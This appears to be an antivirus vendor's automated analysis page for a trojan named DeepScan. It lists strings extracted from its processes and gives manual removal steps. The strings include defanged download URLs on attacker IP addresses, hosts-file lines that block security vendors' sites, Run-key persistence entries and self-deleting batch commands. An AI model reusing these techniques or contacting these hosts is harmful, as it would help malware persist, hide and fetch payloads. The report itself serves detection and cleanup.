HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 0
Content-Type: text/html
Server: Microsoft-IIS/7.5
Set-Cookie: ASPSESSIONIDSCTDQARB=PMBAIJGCNEPJOMINHBIDLEKF; path=/
X-Powered-By: ASP.NET
Date: Sat, 07 Feb 2015 02:51:32 GMT


The DeepScan connects to the servers at the folowing location(s):

spolsv.exe_196:

.text
.rdata
@.data
__MSVCRT_HEAP_SELECT
user32.dll
WinExec
GetWindowsDirectoryA
KERNEL32.dll
USER32.dll
RegCloseKey
RegOpenKeyA
ADVAPI32.dll
ShellExecuteA
SHELL32.dll
InternetOpenUrlA
FindCloseUrlCache
FindNextUrlCacheEntryA
DeleteUrlCacheEntry
FindFirstUrlCacheEntryA
WININET.dll
URLDownloadToFileA
urlmon.dll
GetCPInfo
Software\Microsoft\Windows\CurrentVersion\Run
127.0.0.1 VVV.360.cn
127.0.0.1 VVV.kaspersky.com.cn
127.0.0.1 VVV.ijinshan.com
127.0.0.1 VVV.rising.com.cn
127.0.0.1 cn.trendmicro.com
127.0.0.1 VVV.symantec.com
127.0.0.1 sd.360.cn
127.0.0.1 VVV.eset.com.cn
127.0.0.1 VVV.avast.com
127.0.0.1 VVV.micropoint.com.cn
127.0.0.1 VVV.avira.com
127.0.0.1 VVV.avg.com
127.0.0.1 VVV.jiangmin.com
127.0.0.1 VVV.ggsafe.com
127.0.0.1 guanjia.qq.com
hXXp://192.253.233.21:8914/test/shua.txt
hXXp://192.253.233.21:8914/test/down.txt
%Program Files%\Internet Explorer\iexplore.exe
del "%s"
if exist "%s" goto nimei
del_.bat
hXXp://
spolsv.exe
\spolsv.exe
conime.exe
%WinDir%\spolsv.exe

spolsv.exe_196_rwx_0040D000_00001000:

Software\Microsoft\Windows\CurrentVersion\Run
127.0.0.1 VVV.360.cn
127.0.0.1 VVV.kaspersky.com.cn
127.0.0.1 VVV.ijinshan.com
127.0.0.1 VVV.rising.com.cn
127.0.0.1 cn.trendmicro.com
127.0.0.1 VVV.symantec.com
127.0.0.1 sd.360.cn
127.0.0.1 VVV.eset.com.cn
127.0.0.1 VVV.avast.com
127.0.0.1 VVV.micropoint.com.cn
127.0.0.1 VVV.avira.com
127.0.0.1 VVV.avg.com
127.0.0.1 VVV.jiangmin.com
127.0.0.1 VVV.ggsafe.com
127.0.0.1 guanjia.qq.com
hXXp://192.253.233.21:8914/test/shua.txt
hXXp://192.253.233.21:8914/test/down.txt
%Program Files%\Internet Explorer\iexplore.exe
del "%s"
if exist "%s" goto nimei
del_.bat
hXXp://
spolsv.exe
\spolsv.exe
conime.exe

spolsv.exe_196_rwx_0040F000_00003000:

%WinDir%\spolsv.exe

conime5266.exe_260:

.text
`.rdata
@.data
__MSVCRT_HEAP_SELECT
user32.dll
KERNEL32.dll
USER32.dll
RegCloseKey
RegOpenKeyExA
ADVAPI32.dll
WS2_32.dll
GetCPInfo
.rsrc
GET %s HTTP/1.1
Referer: %s
Accept-Language: %s
User-Agent: %s
Host: %s
Cookie: %s
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50215)
hXXp://192.253.234.50/toopu.png
Applications\iexplore.exe\shell\open\command
%s "%s"
hXXp://VVV.it885.com.cn/num3.html
%WinDir%\Help\conime5266.exe

comine.exe_1948:

.text
`.data
.rsrc
MSVBVM60.DLL
vb6chs.dll
d:\Program Files\Microsoft Visual Studio\VB98\VB6.OLB
psapi.dll
kernel32.dll
NTDLL.DLL
shell32.dll
SHFileOperationA
ShellExecuteA
VBA6.DLL
1.vbp
hXXp://VVV.hao12338.com/?index
IEXPLORE.EXE|TTRAVELER.EXE|SOGOUEXPLORER.EXE|360SE.EXE|GREENBROWSER.EXE|FIREFOX.EXE|MAXTHON.EXE|THEWORLD.EXE|OPERA.EXE|CHROME.EXE|SAFARI.EXE|NETSCAPE.EXE
%Program Files%\Windows Media Player
%Program Files%
explorer.exe
WScript.Shell
Iexplore.exe
wscript.shell
cmd /c ping 127.0.0.1 -n 2&del
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows
%Program Files%\Windows Media Player\comine.exe
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page
%Program Files%\Internet Explorer\iexplore.exe
WindowStyle
Hotkey
serv.dat

ll5266.exe_840:

.text
`.rdata
@.data
KERNEL32.dll
EnumWindows
USER32.dll
RegCloseKey
RegOpenKeyExA
ADVAPI32.dll
WS2_32.dll
MSVCP60.dll
MSVCRT.dll
DeleteUrlCacheEntry
WININET.dll
URLDownloadToFileA
urlmon.dll
hXXp://623968.6600.org:99/3.htm
201411261939
124.232.158.160
dk.23145.com
Applications\iexplore.exe\SHELL\OPEN\COMMAND
%s?%c%c%c%c%c
%s%c%c%c%c%c.htm
124.232.141.61

seo5266.exe_1108:

.text
.data
.rsrc
.aspack
.adata
2014919
ieframe.dll
SHDocVwCtl.WebBrowser
WebBrowser
shell32.dll
ShellExecuteA
wininet.dll
RegisterHotKey
UnregisterHotKey
VBA6.DLL
%Program Files%\Microsoft Visual Studio\VB98\VB6.OLB
!Web1
%System%\ieframe.oca
cmdStop
Webdata
cmdMana
lblURL
urlmon.dll
UrlMkSetSessionOption
user32.dll
GetWindowsDirectoryA
winmm.dll
keybd_event
MapVirtualKeyA
EnumWindows
FindFirstUrlCacheEntryA
FindNextUrlCacheEntryA
FindCloseUrlCache
DeleteUrlCacheEntryA
advapi32.dll
RegCloseKey
RegCreateKeyExA
RegOpenKeyExA
advapi32.dll
RegDeleteKeyA
<,.yU
vurl
MSVBVM60.DLL
kernel32.dll
The procedure entry point %s could not be located in the dynamic link library %s
The ordinal %u could not be located in the dynamic link library %s
msvbvm60.dll
@isual Studio\VB98\C2.EXE
@isual Studio\VB98\C2.EXE.Manif
@ual Studio\VB98\C2.EXE.Manifes
Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
wscript.shell
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\
hXXp://60.173.26.44:6666/Getnews.asp?t=
hXXp://
window.alert=null;
window.confirm=null;
window.showModalDialog=null;
window.open=null;
hXXp://VVV.baidu.com/
hXXp://VVV.so.com/
http=
Software\Microsoft\Windows\CurrentVersion\Internet Settings\
Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\
hXXp://VVV.51proxied.com/http_non_anonymous.html
8.00.0002
2014919.exe

iexplore.exe_1628:

%?9-*09,*19}*09
.text
`.data
.rsrc
msvcrt.dll
KERNEL32.dll
NTDLL.DLL
USER32.dll
SHLWAPI.dll
SHDOCVW.dll
Software\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess
IE-X-X
rsabase.dll
System\CurrentControlSet\Control\Windows
dw15 -x -s %u
watson.microsoft.com
IEWatsonURL
%s -h %u
iedw.exe
Iexplore.XPExceptionFilter
jscript.DLL
mshtml.dll
mlang.dll
urlmon.dll
wininet.dll
shdocvw.DLL
browseui.DLL
comctl32.DLL
IEXPLORE.EXE
iexplore.pdb
ADVAPI32.dll
MsgWaitForMultipleObjects
IExplorer.EXE
IIIIIB(II<.Fg
7?_____ZZSSH%
)z.UUUUUUUU
,....Qym
````2```
{.QLQIIIKGKGKGKGKGKG
;33;33;0
8888880
8887080
browseui.dll
shdocvw.dll
6.00.2900.5512 (xpsp.080413-2105)
Windows
Operating System
6.00.2900.5512


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    comine.exe:1948
    ping.exe:968
    %original file name%.exe:1812
    seo5266.exe:1108
    awx5266.exe:1188
    dh5266.exe:524
    cccccc.exe:844
    ll5266.exe:840

  2. Delete the original DeepScan file.
  3. Delete or disinfect the following files created/modified by the DeepScan:

    %WinDir%\Help\dh5266.exe (3013 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\seo5266[1].exe (9917 bytes)
    %WinDir%\Help\conime5266.exe (45 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\dh5266[1].exe (16893 bytes)
    %WinDir%\Help\ll5266.exe (24 bytes)
    %System%\drivers\etc\hosts (402 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ll5266[1].exe (2907 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\conime5266[1].exe (7551 bytes)
    %WinDir%\Help\awx5266.exe (9995 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\awx5266[1].exe (15682 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
    %WinDir%\Help\seo5266.exe (2692 bytes)
    %WinDir%\spolsv.exe (601 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\iplookup[1].htm (175 bytes)
    %Program Files%\Windows Media Player\comine.exe (61 bytes)

  4. Delete the following value(s) in the autorun key (How to Work with System Registry):

    [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
    "conime" = "%WinDir%\spolsv.exe"

    [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
    "Windows" = "%Program Files%\Windows Media Player\comine.exe"

  5. Restore the original content of the HOSTS file (%System%\drivers\etc\hosts):
    127.0.0.1 localhost
  6. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  7. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

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